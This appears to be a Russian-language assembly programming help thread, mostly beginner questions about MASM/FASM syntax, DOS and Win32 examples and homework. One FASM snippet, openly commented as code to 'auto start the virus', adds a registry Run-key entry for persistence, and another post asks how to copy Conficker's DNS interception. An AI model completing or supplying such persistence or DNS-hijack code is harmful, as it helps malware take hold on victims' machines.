http://msdn.microsoft.com/en-us/library/ms647591%28v=VS.85%29.aspx Судя по твоему вопросу, ты с оконными сообщениями вообще не знаком, а уже лезешь в асм. Зачем тебе это надо после того, как файл уже загружен в память?
Не,забыл просто,как делать.Тогда другой вопрос - Есть ли послед. клавиш для вызова таблицы импортируемых функций в Olly Debugger ?
Где ошибка? Code: ;---------------------------------- TITLE PRIMER1 CODSEG SEGMENT ASSUME CS:CODSEG, DS:CODSEG, SS:CODSEG, ES:CODSEG ORG 100H BEGIN: JMP BEG_CODE TEXT DB 'Это моя первая программа. $' BEG_CODE: MOV AX,CS MOV DC,AX LEA DX,TEXT MOV AN,9 INT 21H MOV AH,4CH INT 21H CODSEG ENDS END BEGIN Подскажите литературу для новичка
Code: include '%include%\win32ax.inc' .data reg_subkey equ "Software\Microsoft\Windows\CurrentVersion\Run", 0 reg_result db ? reg_value db "test", 0 ston_file db "Test.Exe",0 .code start: call autostart .end start proc autostart ; auto start the virus by win registry invoke RegOpenKeyEx,\ ; add to registry HKEY_LOCAL_MACHINE,\ reg_subkey,\ 0,\ KEY_SET_VALUE,\ reg_result invoke RegSetValueEx,\ dword[reg_result],\ reg_value,\ 0,\ REG_SZ,\ ston_file,\ eax invoke RegCloseKey,\ dword[reg_result] ret endp Не могу понять, почему значения не прописываются в реестр. Компилится без ошибок, пробовал запускать из под админа в вин7, всеровно значения не пишутся
Как можно прикрутить manifest.xml файл ? --------- Разобрался Code: section '.rsrc' resource readable directory RT_MANIFEST,_manifest resource _manifest,1,LANG_NEUTRAL,manifest resdata manifest file '%include%\manifest.xml' endres
Требуется составить программу для подсчета суммы двух 64 битных чисел. Числа вводятся с клавиатуры и результат отображается на экране. Предусмотреть неправильный ввод данных (сообщение об ошибке и завершение программы), а так же переполнение, когда сумма не помещается в 64 битное представление числа, необходимо выводить на экран всю информацию об этапах выполнения программы. Примеры: Введите число #1: 4235x >>> ошибка неправильный ввод данных >>> завершение программы ---------------------------- Введите число #1: 4234 Введите число #2: 4564 >>> введены числа размером менее чем 32 бита (оптимизация) >>> результат 8798 ---------------------------- И т.д. Я знаю,что всю прогу влом кому-нибудь делать,даже если она лёгкая,но не могли бы хотя бы подогнать строки с проверкой на Ascii элементов строки и процедуру перевода етих долбанных наборов 12345 цифр в нормальное число!!!!! Заранее,Спасибо!
Здраствуйте местные!!! Как удалить файл с помощью асм(fasm) файл, т.е. с помощью нахожу рекурс. обхода нахожу файл и удалить, КАК? спасибо
Code: format PE GUI 4.0 entry start include 'include\win32a.inc' section '.data' data readable writeable szfile db 'C:\1.txt',0 section '.code' code readable executable start: invoke DeleteFile,szfile,0 invoke ExitProcess,0 section '.idata' import data readable writeable library kernel32,'KERNEL32.DLL' include 'include\api\kernel32.inc'
Есть 2 программы, одна выводит символ, вторая строку, просьба объяснить подробно по каждой строчке кода, что в ней делается, как и зачем EXE – программа: STAK SEGMENT STACK DB 256 DUP (?) STAK ENDS DATA SEGMENT SYMB DB '#' DATA ENDS CODE SEGMENT ASSUME CS:CODE,DSATA,SS:STAK START: XOR AX,AX MOV BX, data MOV DS,BX MOV AH, 02H MOV DL, SYMB INT 21H MOV AH,4CH INT 21H CODE ENDS END START COM – программа: CODE SEGMENT ASSUME CS:CODE,DS:CODE,SS:CODE ORG 100H START: MOV AH, 09h MOV DSX, OFFSET BUF INT 21H MOV AH,4CH INT 21H BUF DB "Hello$" CODE ENDS END START
COM – программа: CODE SEGMENT // начинается сегмент кода ASSUME CS:CODE,DS:CODE,SS:CODE //Директива assume сообщает ассемблеру, как будут ; использоваться сегментные регистры. Эта директива ; не выполняет загрузку сегментных регистров, она ; нужна ассемблеру только для правильного вычисления ; смещений. ORG 100H // Эта строка нужна для создания com-программы. START: // отсюда начинается выполнение программы MOV AH, 09h // тут задаем тип прерывания MOV DSX, OFFSET BUF // помещаем нашу строку в регистр DSX INT 21H // вызываем прерывание вывода сообщения в поток MOV AH,4CH // корректно завершаем работу программы INT 21H BUF DB "Hello$" // наша строка с символом конца CODE ENDS // завершение сегмента кода END START Как то так
люди помогите с таким вопросом,всем известный кидо перехватывает dns запрос к сайту который находится у него в списке,как можно такое реализовать?не знаком с dns api,буду благодарен за пример.
Привет знатоки!!! Есть у кого-нибуть пример работы с FTP (на FASM'e, простейший пример), чтобы файл можно было отправить на ftp... спасибо
Пробую что-нибудь накодить на Асме. Не могу понять, почему абсолютно ничего не получается, пример простейший хелло ворлд. Взял пример с _wasm.ru ,там написано что сие есть прога под вин32. Мои действия - создаю файл example.asm, загружаю его в Masm, жму build all. Предварительно меняю в коде пути к kernel32.lib и другому на свои, иначе выдает ошибку. Масм вроде все компилирует, создает файл exe. Пробую запускать ехе - не запускается. Через командную строку тоже не работает ничерта. Система - WinXp sp3 Подскажите пожалуйста, что я делаю не так? И вообще - с чего сейчас актуально изучать Асм под винду? Первый пример Code: ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ПРОЦ, МОДЕЛЬ, ОПЦИИ, ИНКЛУДЫ, БИБЛИОТЕКИ ИМПОРТА ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= .386 .model flat,stdcall option casemap:none includelib kernel32.lib SetConsoleTitleA PROTO :DWORD GetStdHandle PROTO :DWORD WriteConsoleA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD ExitProcess PROTO :DWORD Sleep PROTO :DWORD ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; СЕКЦИЯ КОНСТАНТ ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= .const sConsoleTitle db 'My First Console Application',0 sWriteText db 'hEILo, Wo(R)LD!!' ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; СЕКЦИЯ КОДА ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= .code ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Самая Главная Процедура ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Main PROC LOCAL hStdout :DWORD ;(1) ;титл консоли push offset sConsoleTitle ;(2) call SetConsoleTitleA ;получаем хэндл вывода ;(3) push -11 call GetStdHandle mov hStdout,EAX ;выводим HELLO, WORLD! ;(4) push 0 push 0 push 16d push offset sWriteText push hStdout call WriteConsoleA ;задержка, чтобы полюбоваться;(5) push 2000d call Sleep ;выход ;(6) push 0 call ExitProcess Main ENDP ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= end Main Второй код Code: .386 .model flat,stdcall option casemap:none includelib kernel32.lib include windows.inc include kernel32.inc .const sConsoleTitle db 'My First Console Application',0 sWriteText db 'hEILo, Wo(R)LD!!' .code Main PROC LOCAL hStdout :DWORD invoke SetConsoleTitle, offset sConsoleTitle invoke GetStdHandle, STD_OUTPUT_HANDLE mov hStdout,EAX invoke WriteConsole, hStdout, offset sWriteText, 16d, NULL, NULL invoke Sleep, 2000d invoke ExitProcess, NULL Main ENDP end Main upd. Сорри, уже разобрались, на Васме подсказали. Тут надо компилировать как консольное приложение а не как гуи. Сообщение можно удалить или оставить, может кому из новичков пригодится.
подскажите, почему не компилируется? .386 .model flat.stdcall .code start: mov eax. 2 add eax. 3 ret end start пример взял из книги вот ошибки: C:\masm32\projects\111.asm(2) : error A2008: syntax error : . C:\masm32\projects\111.asm(3) : error A2013: .MODEL must precede this directive C:\masm32\projects\111.asm(4) : error A2034: must be in segment block C:\masm32\projects\111.asm(5) : error A2008: syntax error : in instruction C:\masm32\projects\111.asm(6) : error A2008: syntax error : in instruction C:\masm32\projects\111.asm(7) : error A2034: must be in segment block C:\masm32\projects\111.asm(8) : error A2006: undefined symbol : start C:\masm32\projects\111.asm(8) : error A2148: invalid symbol type in expression : start